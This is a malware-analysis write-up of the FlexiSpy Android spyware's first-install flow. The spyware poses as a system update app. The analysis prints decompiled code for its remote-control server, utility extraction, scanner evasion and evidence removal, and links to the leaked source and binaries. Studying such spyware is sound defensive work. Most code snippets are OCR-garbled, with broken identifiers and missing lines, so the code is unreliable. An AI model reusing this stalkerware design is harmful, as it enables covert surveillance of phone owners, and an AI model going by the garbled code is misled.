Deep Technical Analysis of the Spyware FlexiSpy for Android
By Kai Lu{@k3vinlusec) from FortiGuard Labs of Fortinet

The whole analysis includes five parts below.

Part 1: Deep Dig into The First Installation of the Spy App
Background

FlexiSpy for android is an android spy app with full IM tracking, VolIP call recording& live call interception, it also
can spy on messages, GPS, Multimedia, Internet, Applicaions, etc. On April 22 2017, Flexidie released the source
code and binaries for FlexiSpy’s android spyware. It can be download from Github https://github.com/Te-
k/flexidie. FortiGuard Labs has been reviewing this data, and our analysis is included in this and the follow-up
parts.
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Figure 1. Source code and binaries of FlexiSpy on Github

To start, the version of FlexiSpy for Android we used for this analysis is 5002_-2.25.1. Since then, version
5002_2.25.2 has been released. | think that there is a very minor difference between them. It should not affect our
analysis.

First Look at FlexiSpy for android

FlexiSpy’s android spy app disguises as a system update app. Its package name is com.android.systemupdate . The
screenshot of the app icon is shown below.


https://github.com/Te-k/flexidie
https://github.com/Te-k/flexidie
https://github.com/Te-k/flexidie/blob/master/binaries/5002_2.25.2_green.APK

Figure 2. The screenshot of the spy app icon on home launcher

The following is the structure of the spy app 5002_-2.25.1_green.APK.
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Figure 3. The structure of 5002_-2.25.1_green.APK

We decompile the spy app 5002_-2.25.1_green.APK with an APK decompiling tool, as follows.
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Figure 4. Decompile spy app 5002_-2.25.1_green.APK

From Figure 3 and 4, above, we can see the spy app is huge and complicated. After decompiling using Apktool it
includes 4090 smali files, with many files in assets and lib folders inside the APK file.



Next, let’s look at its AndroidManifest.xml file.
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Figure 5. AndroidManifest.xml file inside the spy app’s apk file

From AndroidMainfest.xml, we can see the activity com.phoenix.client.PrerequisitesSetupActivity is the main
activity. Next, let’s start to analyze the main activity.

We analyze the execution flow of the spy app when it was installed for the first time.

Note: green marks represents the execution flow and bule marks indicates comments we added.

Digging into the Execution Flow



Let’s first look at the function onCreate() of PrerequisitesSetupActivity.

public void [s«sERes (Eundle arg5) {
if (PrerequisitesSetuplctivity.LOGV) |
FxLog.d({"PrerequisitesSetuphctivity”, "onCre

te 4 ENTER ..."):

t
checks if it can be automatically activated, if ac.txt exis

in /sdcard/ it can be, here it's obviously false.

super.onCreate (argd) ;
StrictMode.setThreadPolicy (new
if (UIUGi1s [canBucoRcsivate () |
if (PrerequisitesSetuplctivity.LOGV) |
FxLog.d({"PrerequisitesSetuplctivity”, "onCreate # Found Auto Activation license ..."):

'

thi#. showlutoInastallerScreen(); I

'
else |
this.mSetupFlagsManager = new SetupFlagsManager (Path.getWritablePath({this.getApplicationContext{)));
thig.mippInstance = AppInstance.getInatance {{ (Co
if (this.mCoreService == null) {
if (PrerequisitesSetuplctivity.LOGV) |
FxLog.d{"PrerequisitesSetuphctivity”, "onCreate # Bind core service");

}
| this.bindCoreservice ()] ———— Bind Coreservice.

oto label 19;

if {(PrerequisitesSetuplctivity.LOGV) [
FxLog.d({"PrerequisitesSetuphctivity”, "onCreate # Initialize"):

t

this.initialize():

label 19:
if (PrerequisitesSetuplctivity.LOGV) |
Fxlog.d("PrerequisitesSetupActivity”, "onCreate # EXIT ...");

1

Figure 6. The function onCreate() of PrerequisitesSetupActivity

In this function, UlUtils.canAutoActivate() first checks if it can be automatically activated, if ac.txt exists in /sdcard/
it can be. In this example, it's obviously false. The program then invoke function bindCoreService() to bind
CoreService.

Actually, if the return value of function UlUtils.canAutoActivate() is true, the program could invoke
showAutolnstallerScreen() to start the activity com.phoenix.client.AutolnstallerActivity

private wold showRutcInstallerScreen() {
Ir 1t w0 = new In ..v{»{»{ft::e:\::athisJ,.|Autc:InstallerActivity.-:_assi:
v0.3etFlags (335544320)
this.starthetivity {v0);
this.finish():

Figure 7. The function showAutolnstallerScreen()
In the class AutolnstallerActivity, it finally executes the function bindCoreService() as well.

The definition of function bindCoreService() is shown below.

private wvoid bindCoreService() |
this.bindServic:e (new Intent((({Context)this), Coredervice.class), this.mCoreServicelonnection, 1);: |

}
Figure 8. The function bindCoreService()

Next, we analyze the class CoreService and this.mCoreServiceConnection. The variable mCoreServiceConnection is
initialized in constructor of the class PrerequisitesSetupActivity.



public PrerequisitesSetuplActivity() |
super():
I this.mCoreServiceConnection = new com.phoenix.client.PrerequisitesSetupfctivitysl (this): I

}

Figure 9. The initialization of mCoreServiceConnection

The following is the function onCreate() of the class com.phoenix.client.CoreService.

public woid onCreate() {
Thread.setDefaultUncaughtExceptionHandler (new Th
public void uncaughtException({Thread arg2, Tt le arg3) [
CoreService.this.handleUncaughtException(arg2, arg3);

ndler{) {

ncaughtExcepti

Create a HanlderThread for Service.

v0.3tarc();
this.mServicelogper = vi.getLooper();

Handler = new ServiceHandler(this, this.mServiceLlocper):
String vl = Path.getWritablePath(this.getApplicationContext());
this.mBinder = new LocalBinder(this):

this.mContainer = new EppServiceContainer (this.gethpplicationContext(), this.getlssets(), vl, IUIUtils.getRu.nninande (vl)l):

} /
Get running mode from file /data/data/com.android.systemupdate/
app_data/appengine_mode.dat,if not exist it returns RunningMode. NORMAL.

Figure 10. The function onCreate() of class CoreService

Regarding using bindService() to start an android service, its life cycle is shown below.

Next, the function onServiceConnected() in the class com.phoenix.client.PrerequisitesSetupActivityS$1 is able to be
executed.

public class PrerequisitesSetuplctivity extends Zc v {
class com.phoenix.client.PrerequisitesSetuplhctivity$l implements S
com.phoenix.client.PrerequisitesSetupActivity$l (PrerequisitesSetuphActivity argl) {
PrerequisitesSetuphctivity.this = argl;
super();

}
public woid ComponentName arg3, IBinder argd) {

PrerequisitesSetuplhctivity.this.mCoreService = ((LocalBinder)argd).getService();
if {PrerequisitesSetuphctivicy.LOoGV) |
FxLog.d({"PrerequisitesSetuphctivity", "onServic

Connected # Initialize");

1

| PrerequisitesSetupAetivity.this.initialize(); |

1

Figure 11. The function onServiceConnected() of class PrerequisitesSetupActivity$1

The definition of function initialize() in the class com.phoenix.client.PrerequisitesSetupActivity is shown below. It
does some work of initializing the spy app.



private void initialize{) {
if (PrerequisitesSetuplctivity.LOGV) |
Falog.d("PrerequisitesSetupictivity”, "initialize # ENTER ...");

'

if{this.mRemoteControl == null) |
try | /

|t.his.ﬂ5mote€ontrol = RemocteControlHelper.getRemoteControl () .'|

Due to first setup,this.mRemoteControl is null.

}
catch({RemocteContrclException v2) |
}
}
if({this.mRemoteControl == null) |
if(PrerequisitesSetupActivity.LOGV) |
Fxlog.d("PrerequisitesSetupActivity”, "initialize # Remote Control is not created");
}

Check if it's first launch through checking if the file is_first_run.dat

boolean w0 : r""“' exists in the folder fdata/data/com.android.systemupdate/app_data/

if (PrerequisitesSetuplActivity.LOGV) |

Filog.d({"PrerequisitesSetupActivity”, "initialize # Is first launch ? %s", new CObject[]{Boolean.valueOE£(v0)});
}
if({v0) {

if (PrerequisitesSetuplctivity.LoGV) [

FiLog.d("PrerequisitesSetupActivity”, "initialize # Start AppEngine");

}

— start app engine to work.

goto label 34:
}

oolean vl = WaitTaska.requiresToWait();
if (PrerequisitesSetupActivity.LOGV) |
Fxlog.d("PrerequisitesSetuphctivity”, "initialize # Requires to wait ? ¥s", mnew Cbject[]{Boo

an.valueQf(vl)}):

}

if(vl) |
new MainDaemcnWaitTask(this).execute (new Void[0]);
goto label_34;

}

if (PrerequisitesSetuplctivicy.LOGV) |
FxLog.d("PrerequisitesSetupActivity"”, "initialize # Start AppEngine");

}

this.startAppEngine();

13
else |
if (PrerequisitesSetuplhctivity.LOGV) |

FxLog.d("PrerequisitesSetupActivity”, "initialize # Remote Control is created.");

}

P If this.mRemoteControl is not null, execute postInitialize().

this.postInitialize();

if (PrereguisitesSetupActivity.LOGV) {
FxLog.d("PrerequisitesSetuphctivity”, "initialize # EXIT ..."});

'

Figure 12. The function initialize() of the class PrerequisitesSetupActivity

In this function initialize(), the program first gets remote control instance through invoking getRemoteControl(). In
the function getRemoteControl(), it first checks if the remote control server “com.vvt.rmtctrl.server:12512" is
ready, if it’s ready, it sends a request to remote control server to get a remote control instance. For first
installation, the remote control server “com.vvt.rmtctrl.server:12512" is not ready. So the return value of
getRemoteControl() is null.



public static RemoteControl getRemoteControl({) throws RemoteControlException {
Cbject = null;
on ¥3 = mull;

try {
boolean v5 = new |RemctemeckTGpSErverAvailable( "com.vvt.rmtctrl.server", 12512).execute (?l.buulean’\falue [
if (RemoteControlHelper.LOGD) {
Fxlog.d("RemoteControlHelper", "isAppEngineAvailable : " + v5)»
1 Check if the remote control server is ready,
for the first setup it's false.

if(lws) [
goto label 30;

i

_______,_,-—-—-P Send a request to remote control server to get remote control instance.
w6 = new RemoteGetRmtCtrl() .execute(); I

if ('RemoteControlHelper.LOGI) |
goto label_30:

i

FxLlog.i("RemoteControlHelper", "getRemoteControl # ACOUIRED"):

Figure 13. The function getRemoteControl()
Next, the function isFirstLaunch() checks to see if it's first launch by checking if the file is_first_run.dat

exists in the folder /data/data/com.android.systemupdate/app_data/. Here its return value is true. Then the
program invokes startAppEngine() to start app engine.

If it is not installing the app for the first time, the return value of RemoteControlHelper.getRemoteControl() should
be not null, which causes the program to entry into else statement branch to invoke function postinitialize().

The definition of the function postinitialize() is shown below. It can invoke the function showActivationScreen() to
display the activation activity.

private void postInitialize() [

boolean vl =|this.isFullMode();

if (PrerequisitesSetuphctivity.LoGV) [

FxLog.d("PrerequisitesSetupActivity”, "postInitialize # Is full mode ?" + vl);
t
if{vl) {
this JshowActivationScreeny); | —————» Show the activation screen.
this.finish();
I3
else |
SetupStatus v2 = this.mSetupFlagsManager.get3etupStatus();
if {(PrerequisitesSetuphctivity.LoGV) [
Fxlog.d("PrerequisitesSetupActivity”, "postInitialize 4 Setup status is &s", new Object[]{v2});

!
Figure 14. The function postlnitialize()

Next, we continue to analyze the core function startAppEngine() in the class PrerequisitesSetupActivity.

private void startAppEngine() {
if (PrerequisitesSetuplActivity.LOGV) {
FxLlog.d("PrerequisitesSetupActivity"”, "startAppEngine # ENTER"):

}

if (PrerequisitesSetupActivity.LOGV) {
Fxlog.d("PrerequisitesSetupActivity”, "startAppEngine # Register a service receiver"):
¥

| this.registerCoreServiceCallbackReceiver(); I
if(this.mProgressDisleg != null ss (this.mProgressDialog.isShowing{))) {
this.mProgressDialog.dismiss{);

i

if (PrereguisitesSetupActivity.LOGV) [
Fxlog.d("PrerequisitesSetupActivity", "startAppEngine # Show progress dialog");

i

this.mProgr: Dialog = ProgressDial

this.mippInstance. startAppEngine {{

if (PrerequisitesSetuphActivity.LO0GV) [
FxLog.d("PrerequisitesSetupActivity”, "startAppEngine # EXIT");

}

show{{(Context)this), this.getString(2131034133), this.getString(2131034139), true);
ct)this)); |

Figure 15. The function startAppEngine() of the class PrerequisitesSetupActivity



The function registerCoreServiceCallbackReceiver() dynamically registers a broadcast. It receives the broadcast
with the “wfs.service.action.engine_operation_complete” action. When the app engine operation is completed, it
sends this broadcast.

Next, the program invokes the function startAppEngine() in the class com.phoenix.client.Applnstance. In that
function it starts the service CoreService using startService().

public woid starthAppEngine (Context arg3d) |

Intent v0 = new Intent({argl3, CoreService.class);
vi.setAction("wis.service.action.start engine");
arg3d.startService(v0) ;s

With regards to using startService() to start an Android service, its life cycle is shown below.

If this service has been bound through invoking bindService() before, the function onCreate() is invoked. This time,
the function onCreate() is not invoked. The function onStartCommand() of CoreService can be executed. The
definition of the function onStartCommand() of CoreService is shown below.

public int onStartCommand (Intent argll, int argl2, int argl3) [
if (CoreService.LOGD) {
FxLog.d("CoreService”, "onStartCommand # ENTER ..."):
]

String w4 = argll !'= rull 2 argll.getAction() : null;
this.mAction = vi;
if (this.miction == null) {

if (CoreService.LOGD) [

Fxlog.d("CoreService", "onStartCommand 4 intent is null. Assume it\'s a kill-start. Resetting the flag"):
1
this.midction = 'wfs.service.action.start_eng: H
AppStartUpHandler.writeMethodToFile (Path.getWritablePath (this.getApplicationContext ()}, AppStartUpMethod.START STICHY):

}
if (CoreService.LOGD) {
Fxlog.d("CoreService”, "onStartCommand # action: &s", new Cbject[]{this.miction}):

3

int v2 = 0;

if ("wfs.service.action.start server’.equals(this.mAction)) [
v2 =1;

}

else if {'wis.service.action.stop server'.equals(this.mAction)) {
vZ = 21

}
else 1fd'--;fs.ser"i:e.a:tlcn.start engine".equals (this.mAction))| {

else if ("wis.service.action.stop engine”.equals(this.mdction)) {

v2

}

else if( wvice.action.keepalive.KEEP_ALIVE".equals (this.mlction)) {
v2 =3

]

if (CoreService.LOGD) {
FxLog.d("CoreService”, "onStartCommand # what: 8d", new Obiect[]{I

}

Measage vl = this.mServiceHandler.obtainMeasage(): //,'- v1l.what=3, send message to service handler.
vl.vhat = v2;

boolean w0 = this.mServiceHandlsr.sendMessage (v1);
if (CoreService.LOGD) {

valueOf(v2)}):

FxLog.d("CoreService", "onStartCommand # Is sendMessage success ? ¥s", new Cbject[]{Boolean.valueOf (v0)]);
}
if (CoreService.LOGD) {
FxLog.d("CoreService", "onStartCommand # EXIT ..."):
]
return 1;

Figure 16. The function onStartCommand() of the class CoreService

It sends a message to handler to handle. The function handleMessage() in the inner class ServiceHandler of the
class CoreService is used to handle message.



final class ServiceHandler extends Handler {

public ServiceHandler(CoreService argl, Looper arg2) [
CoreService.this = argl:

super(arg2) ;

public void handleMessage (Message args) |
if (CoreService.LOGD) {
FxLog.d("CoreService",

"handleMessage # ENTER

Check if the server is opened, for first setup the reture value is false.

Keepalive is not necessary");

Start app engine
v

}
switch [args.vhat} {
case 1: {
if (CoreService.LOGD) {
FxLog.d("CoreService", "handleMessage # Start server");
1
CoreService.this.mIsSuccess = CoreService.this.startServer();
break;
}
case 2: [
if (CoreService.LOGD) {
FxLog.d("CoreService", "handleMessage # Stop server"):
1
CoreService.this.mContainer.stopServer():
break;
if (CoreService.LOGD) {
FxLog.d("CoreService", "handleMessage # Start engine"
1
boolean vl 4 CoreService.this.mContainer.isServerOpened() :
if (CoreService.LOGD) {
FxLog.d("CoreService", "handleMessage # isServerOpensd: " + v1);
}
if(ivl) |
if (CoreService.LOGD) {
FxLog.d("CoreService", "handleMessage # Start server");
}
________————' Start the server vvt.polymorphic.server:12514
[ coreservice.this.startServer(); |
vl = CoreService.this.mContainer.isServerOpened():
it ([CoreService. this. isFul Made ())) |
if (CoreService.LOGD) |
FxLog.d ("CoreService", "handleMessage # Starting keeplive"):
1
CoreService.this.startKeepAlives():
goto label_33;
if (!CoreService.I0GD) [
gote label £3;
}
FxLog.d("CoreService", "handleMessage # Running in \'Full\' mode.
if(vl) |
if (CoreService.this.mContainer.isAppEngineStarted()) {
CoreService.this.mIsSuccess = true;
if (CoreService.IOGD) |
FxLog.d('CoreService", "handleMessage # App engine is already started"):
1
}
else {
if (CoreService.LOGD) |
Fxlog.d("CoreService", "handleMessage # Start engine");
}
CoreService.this.mIsSuccess =|CoreService.this.mContainer.startAppEngine () |
}
1
CoreService.this.mResultMessage = CoreService.this.mIsSuccess ?
[coreservice.this.broadcastFinish();
break;
} notify the receiver that it finishes engine start.
case 4: |
if (CoreService.LOGD) {
FxLog.d("CoreService", "handleMessage 4 Stop engine");
1
CoreService.this.mContainer.stopAppEngine () ;
CoreService.this.mResultMessage = CoreService.this.mIsSuccess 2
CoreService.this.broadcastFinish():
break;
}
case 5: {
if (CoreService.LOGD) {
FxLog.d("CoreService", "handleMessage # Keepalive");
1
CoreService.this.keepAlive():
break;
1
default: {
if (1CoreService.LOGD) [
goto label 19:
}
FxLog.d("CoreService", String.format("handleMessage # Invalid switch what::d", Inte:
break;
1
}
label 19:

if (CoreService.LOGD) {

FxLog.d({"CoreService”, "handleMessage # EXIT

"Features are enabled successfully."

When finish the app engine start, it send a broadcast to

"Features are disabled successfully

"Features enabling failed!!

Check if it's full mode, for first setup it's normal mode.

Features disabling failed!!";

=.valueOf (azgl.vhat) )} 7



Figure 17. The function handleMessage() of the inner class ServiceHandler

The function startServer() of the class CoreService invokes the function startServer() of the class
AppServiceContainer. The class AppServiceContainer inherits the class PolymorphicContainer, which implements
the method startServer() below. It creates a TCP socket server that listens on port 12514,

public woid startServer() throws FxSocketException {
if (PolymorphicContainer.IOGV) {
Falog.v({this.getTag(), "startServer # ENTER ..."):
}

if (this.mSocketServer '= mull) |
this.mSocketServer.close();
if (PolymorphicContainer.LOGD) |
Fxlog.d(this.getTag(), "star
}

this.mSocketServer .
if (EolymorphicContainer. LOGD) {
Fxlog.d{this.getTag(), "startServer # Started");

}
Figure 18. The function startServer() of the class PolymorphicContainer

Next, we analyze the function startAppEngine() in the class AppServiceContainer.



protected boolean startippEngine() {
Logger.getInstance () .setLogPath (this.nRorkingDir, "fx.
Logger.getInstance () .setLogOutput (6) ;
if (AppServiceContainer.LOGD) {
FxLog.d{"AppServi tainer", "startAppEngine # ENTER ...");

1

boolean vl = falser

try |
if (this.mRunningMode == RunningMode.LIMTTED 1) {
if (RppServiceContainer.LOGD) { -
Fxlog.d("AppServiceContainer", "startAppEngine # Check auto update .."):
}
this.runfutoUpdateIfReq();
1

if {AppServiceContainer.LOGD) |
FxLog.d("AppServiceContainer”, "startAppEngine § Extract PCE");
! Extract the file 5002 in assets folder to
_______————__-". /data/data/com.android .systemupdate/app_data/5002,
it's the config file of the spy app.

if (AppServiceContainer.LOGD) {

FxLog.d("AppServiceContainer”, "startAppEngine # Application mode is: " + this.mRunningMode);
1
if (kppServiceContainer.LOGD) {

Fxlog.d{"AppServi atainer”, "startAppEngine # Extract Utilities");

Extract some utilities in assets foler to /data/data/com.android.systemupdate/app_data/,

1
__',__-—-—’—’ it includes busybox,panzer,fimpeg and vdaemon.
if (this.mRunningMode == RunningMode.LIMITED 1 || this.mRunningMode == RunningMode.FULL) {
if (RppServiceContainer.LOGD) {
FxLog.d ("AppServ: ainer", "startAppEngine # Extra

¥

this.extractiposed();

1

if (this.mRunningMods == BunningMode.LIMITED 1) |
if {AppServiceContainer.LOGD) |
FxLog.d ("AppServ. ainer”, "star

ngine # Extra

gesture hash.

}

this.extractGestureHash();
1

if (AppServiceContainer.LOGD) {
Fxlog.d("AppServiceContainer", "startippEngine # Instantiate App

i

/V’Start engine.
this.mAppEngine = new AppEngine(this.mContext, this.mWorkingDir, this.mRunningMode):

this.mAppEngine.startEngine ()
if (AppServiceContainer.LOGD) {
FxLog.d("AppServiceContainer”, "startAppEngine # Assign a receiver bridge object"):

i

Ipplnstance.getlnstance (Ehis.mContext) . setReceiverlandler (this.midppEngine.getReceiveriandler()); |
vl = true;

i
catch(Exception v0) {
if (AppServiceContainer.IOGE) {
ainer", "startAppEngine 4 Error!1",

FxLog. e ("AppServiceCon

1

this.mAppEngine. stopEngine () ;
this.mippEngine = null;
1

if (AppServiceContainer.LOGD) {
FxLog.d{"AppServi tainer", "startAppEngine # EXIT ..."):

return vl

Figure 19. The function startAppEngine() in the class AppServiceContainer

a. extractPcf(): Extracts the file 5002 in assets folder to
/data/data/com.android.systemupdate/app_data/5002, which is the configuration file of the spy app.

b. extractUtilities(): Extracts some utilities in assets folder to
/data/data/com.android.systemupdate/app_data/, which includes busybox,panzer,ffmpeg and vdaemon.

c. startEngine(): That’s the function of the class AppEngine.

The definition of the function startEngine() of the class AppEngine is shown below.



public void svartEngine() throws AppEngineException {
neralSecurityfxception v3_3z
COm.vvt.appengine. AppEnginesl v4;
1f (BppEngine. 10GV)
FxLog.v("AppEngine”, "startEngine & ENTER .

if (AppEngine.10GD] |
FxLog.d("AppEngine”, "startEngine # Mode: 8s”, new O

Ject(] {this.mRunningMode}

BcfLoadingException v3 = nulls
try {
if (this.mCompanent.pheneInfo == null) {
if (AppEngine. 10GD)
Fxlog.d("AppEngine”, "startEngine # Construct phone info”);

n1 Inf (ent thi ingDirvectory) ;|
)
if (this.mComponent.networkInfo = null) {
if (BppEngine . 10GD)
FxLlog.d("AppEngine”, "startEngine # Construct network info"):

this.mComponent. networkInfo

new NetworkInfoTrpl (this.mContext)

if (this.mComponent.productInfo = null) {
if (AppEngine.10GD) {
FxLog.d{"AppEngine”, "startEngine # Construct product info")z

this.mComponent . productInfo =| new ProductInfolmpl ()
thi duct I (3002)

thi duetInfe (s :

thi ductInf. ion("-2.25.

thi duetInfe :

tni ductInfe Tail (FxSecurity LICENSE CHECKSUM)) 7

1f(1RppEngine.106D) {
goto label_3

FxLog.d{"AppEngine", "startEngine # Loading Product Id: &d, Version: &s", mew Object[]{Int:

ductIng. ), this.mCe
1abel_se
if (this.oComponent. configManager == mull)
1 (RppEngine.10GD) {
Falog.d("AppEngine”, "startEngine & Load configuration");
)
if(this.mForTest)
w4 = new Configurationvalidator() {
public void validate(String argl) |
}
]
}
else |
ConfigurationValidatorlepl v4_1 = new ConfigurationvalidatorTmpl():
)
thi gManager = new Confi i ({{Conti ionValidator)vé)) 7
thi [ {this . mPoEDs
) L ———— Load product configuration from ./app_data/5002

if (this.mComponent. licenseNanager == null) {
if (AppEngine.10CD) {
Fxlog.d("AppEngine”, "startEngine # Initialize license");
) Create the license manager and initialize it.

-

thi 1 (this.nforkingDi ]
thi 15 ChangeListensr ( ( (OnLicenseChangel tnis)
thi = inicialize();

this.mSELinugSecuri tyContext = ShellUtil.getSecurityContext (this.miorkingDirectory) ;
thi SELinuxSecurityCont 3 1 ;
1if(Ithis.mForTest) |

1€ (RppEngine.10GD) {

FxLog.d("AppEngine"”, "startEngine # Create command processor");
1 / Create the remote control hanlder, it's used to handle all remote control function.
if (RppEngine.LOGD)
1
thi = new T ketlmd: ("AppEngine”, "com.vvt.rmtctrl.server", 12512, ((IcpSocketCmdProcessor)vl)):

this.nTcpSocketCndServer. start () ;

if (AppEngine.L0GD) { \ Create the remote control server and start it, it receives

FxLog.d("AppENgine”, "startEngine # Acquire wake 10ck"): the remote command and transfers it to remote control
1 handler to handle it.

this.zcquireWakeLock () 7
if (AppEngine. LOGD)
Fxlog.d("AppEngine”, "startEngine # Construct components”

1

FEepp——— —p Construct sulrnll::; on of the spy appiti E(‘I_udes ServerAddressManager,
T (AppEngine. TOGD) | otc. e . .
Falog.d ("AppEngine”, "startEngine # Start reswme”);
}
this.startResume () ;
if (AppEngine. LOGD)
FxLog.d ("AppEngine”, *startEngine # Start send heart beat timer)s
}
‘this.startGetConfigurationTimer();
21 (AppEngine. LOSD)
FxLog.d("AppEngine”, "startEngine # Perform housekeeping tasks"):
}
this.performiousekeepinglasks();
if (AppEngine.LOGD) {
Fxlog.d("AppEngine"”, "startEngine # Protect process from OOM killer + Android App Verification Scanner");
}
this.protect ()7
if (AppEngine.LOGV)
FxLog.v("AppEngine", "startEngine # remove all evidance. i
)
» Remove some files
this.processRenoverl Evidence () :
if (AppEngine.LOGV)
FxLog.v("AppEngine”, "startEngine § trigger AppEngine Validator.”
}
ring v2 = this.mRunningMode == RunningMode.FULL ? new CrackUtil() "com.android stemupdate”, this.mWorkingDirectory) : new CrackUtil().get
if (AppEngine.LOGV) {
FxLog.v("AppEngine”, "startEngine # trigger AppEngine Validator -> sourceDir: " + v2):

if (AppEngine.I06V) {
FxLog.v("AppEngine", "startEngine # EXIT ):



Figure 20. The function startEngine() of the class AppEngine

a. loadProductConfiguration: Loads product configuration from
/data/data/com.android.systemupdate/app_data/5002. This file is encrypted with AES algorithm.

b. Initialize: Initializes the license manager.

c. RemoteControlHandler: This is the remote control handler and it’s used to handle all remote control
functions.

d. TcpSocketCmdServer: Creates the remote control server "com.vvt.rmtctrl.server:12512” and starts it. It
then transfers the command to the remote control handler to handle.
constructComponents(): Constructs some components of the spy app.

f. processRemoveAllEvidence(): Removes some file generated when setup.

Looking back to the function handleMessage() in the inner class ServiceHandler of class CoreService in Figure 17,
after the startAppEngine() is executed it can invoke the function broadcastFinish() in the class CoreService.

When the app engine finishes starting the app engine, it can send the broadcast below.

private void broadcastFinishi{) |

I this.sendBroadcast (new Intent("wis.service.action.engine operation complete")); I
if {CoreService.LOGD) {
Fxlog.d("CoreService", "zendFinish # Sent"});
1

In the class PrerequisitesSetupActivity, the function registerCoreServiceCallbackReceiver() dynamically registers a
broadcast. It receives the broadcast with the “wfs.service.action.engine_operation_complete” action.

In Figure 15, the function startAppEngine() of the class PrerequisitesSetupActivity invoked
registerCoreServiceCallbackReceiver(), which dynamically registers a broadcast, and then receives the broadcast
with the “wfs.service.action.engine_operation_complete” action.

A RS Ll - e i sterCoreServiceCal IbackReceiver] ) Y

this.registerReceiver (new 0 {

public void onReceive argd, t argd) {
int v0 = arg5 = null || !ETg5.gechction().equals [TWis.service. action.engine operation complete™] 2 0 : 17
iE(v0 1= 0) {
if (Prerequisi tupActivity.LOGV) [
FxLog.v (" quisitesSetupActivity”, "get

=r)this));

PrerequisitesSetupActivity.this.cnEngineOperationFini

Filter("wfs.service.action.engine operation complete")):

Figure 21. The function registerCoreServiceCallbackReceiver() of the class PrerequisitesSetupActivity

The code snippet of the function onEngineOpertaionFinish() is shown below.

if(ShellUtil[isDeviceRooted ()} {  —® Check if the device is rooted, my device has been rooted.
if (PrerequisitesSetuphctivity.LoGW) [
Fxlog.v("PrerequisitesSetupActivity”, "onEnginelperationFinish # Device is rooted ...");

I3

boolean vl = thls.IshchimC‘ar:LNctEresenthtl:’lcaticn():
if {!PrerequisitesSetupActivity.LOGV) {
goto lzbel 43;

t

FalLog.v({"PrerequisitesSetupActivity”, "onEngineOperationFinish # Did Show SimCard Not PresentNotification ? + vl)s

Figure 22. The code snippet of the function onEngineOpertaionFinish()



The function isDeviceRooted() checks to see if the device is rooted using five methods. In this example | have
rooted my android device and install SuperSU.

The code snippet of the function showSimCardNotPresentNotification() is shown below.

if(v3) |
this.runCnliThread (new Runs
public void run{) {

ml.fromHeml (this.getString(2131034160))) |

ty.this.isFinishing(}) {
requisitesSetupActivity. this) .setCancelable (false) [SeTiitie]PrerequisitesSetuphetivity. this.getString (2131034159) ) . seqt

arg3.dismiss():
if (PrerequisitesSetuphetivi
Fxlog.v("P uis

}

this
this. th.

s0[showinstallscreen():] — 7 Show the installation screen.

his$0.finish();

)i
1) [show 14 — — —»  Show a alert dialog.

Figure 23. The code snippet of the function showSimCardNotPresentNotification()

Due to no SIM card inserted in my device, it prompts an alert dialog below. By clicking the button “Proceed” the
program invokes the function showlnstallScreen().

Insert SIM card

Please make sure only one SIM

card is inserted or you may not get
all software features.

Proceed

Figure 24. The dialog of inserting SIM card

As we continue to trace the function showlnstallScreen(), it start InstallActivity.

private woid showInstallScreen() [
Intent v0 = new Intent({{{Cocn
v0.3etFlags (335544320) ;
this.starthctivity (v0);

xt) this) ,| Install;.ctivity.-:lassl.'

The following is the function onCreate() in the class InstallActivity.



public void [FNRLtas (Bundle argS) [

# ENTER ..."):

t

super.onCreate (argd);
this.setContentView (2130903046) ;
S .setThreadPolicy(new 3t Th Builder().permitAll().build());
= Path.getWritablePatch(this.getipplicationContext()):
this.midppInstance = AppInatance.getInatance (({Context)this)):
this.mSuManager = new SuperUserManager(v0);
this.mSetupFlagsManager = new SetupFlagsManager(v0);
this.mHandler = this.createHandler(};
this.mDevicePolicyManager = this.get3ystemService( : policy"):
this.mippDeviceidmin = new o entiame ( ({Con BppDevicekdminReceiver. class) ;
this.preparekppContainerInfo(this.getApplicationContext()):
if (this.mCoreService == null) |
if (Installictivity.LOGD) {
Fxlog.d("InstallActivity", "onC

4 Bind to CoreService");

I3

F
else |
if(InstallActivity.LOGD) {
Fxlog.d("InstallActivity", "o

_——¥» Bind CoreService.

e # Initialize");

t

this.initialize({);

+
if (InstallActivity.LOGD) {

Fxlog.d("InstallActivity", "onCreate # EXIT ..."}:
t

Figure 25. The function onCreate() of the class InstallActivity

The execution flow of binding CoreService is shown below.

CoreService was bound through bindService() in Figure 8, the onCreate() and onBind() in the class CoreService only
can be invoked once, allowing the function onServiceConnected() to be executed.

public class InatallBActivity extends Rctivity [
class com.phoenix.client.InstallBetivity$l implements Se
com.phoenix.client.InstallBctivity$l (InstallRctivity argl) |
InstallRetivity.this = argl;

super();

_____ nection

ceConnection {

}

public void] cnServiceConnected|

InstallRctivity.this.mloreSerw:
if{Installictivicy.lOGD) |
Filog.d("InstallActivity”, "onServiceConnected # Initialize");

arg3d, T der argd) |
{(LocalBinder)argd) .getService() ;

}

| InstallRetivity.this.initialize(); |

}

public void onServiceDisconnected(C
Installlctivity.this.mCoreServic

ne arg3) |
null;

1

Figure 26. The function onServiceConnected() of the class InstallActivity

The definition of the function initialize() in the class InstallActivity is shown below.



private void initialize() {
if(InstallActivity.LOGD) {
FxLog.d("InstallActiwvity", "initialize # ENTER ..."):
}

if{InstallActivity.LOGD) |
FxLog.d("InstallActivity”, "initialize #

superuser status");

-__-_______"Lnad Super user's status.

¥

this.mSuManager.[loadPersistedSuperUserStatus ()
if (this.mRemoteControl == null) {
try {
[this.mRemsteControl = RemoteControlfelper.getRemoteControl (17 | \A

catch (RemoteControlException vd) [

} Get the remote control, the remote control server(“com.wvt.rmtctrl.server”, 12512)
1 has been created in app engine start.
if(this.mRemoteControl == null) {

if(InatallRectivicy.LOGD) {

FxLog.d("InstallActivity”, "initialize # Remote Control is not created"):

3

this.startAppEngine();
}
else |

if(InstallActivicy.LOGD) {

FxLlog.d("InstallActiv 'initialize # Remote Control is crea

3
|- .
if {this.isProducthctivated(}) | L Check if the product is activated. Here it's false.

if(InstallActivity.LOGD) {
Fxlog.d("InstallActivity"”, "initialize # Product is alr

installed.");

}

this.showhctivatienScreen();
this.closeApplicaton()
goto label 26;

13

SuperUserStatus v3 = this.mSuManager.getSuperUserStatus();
if (InstallActivity.LOGD) {

FxLlog.d("InstallActivity”, "initialize # Current status: %s", new Cbject[]{v3});
I3

hoolean vl = —¥ -__-_________._’ It's SuperUserStatus UNKNOWHN
SetupStatus v2 = this.mSetupFlagsManager|getSetupStatus ():]
if (InstallActivity.LOGD) {

Falog.d("InstallActivity”, "initialize # Current setup status: %s", new Object[]{v2});

vi=false

3

if(!vl s& v3 == SuperUserStatus.UNKNOFN) {

this.checkSuStatus():

goto label 267

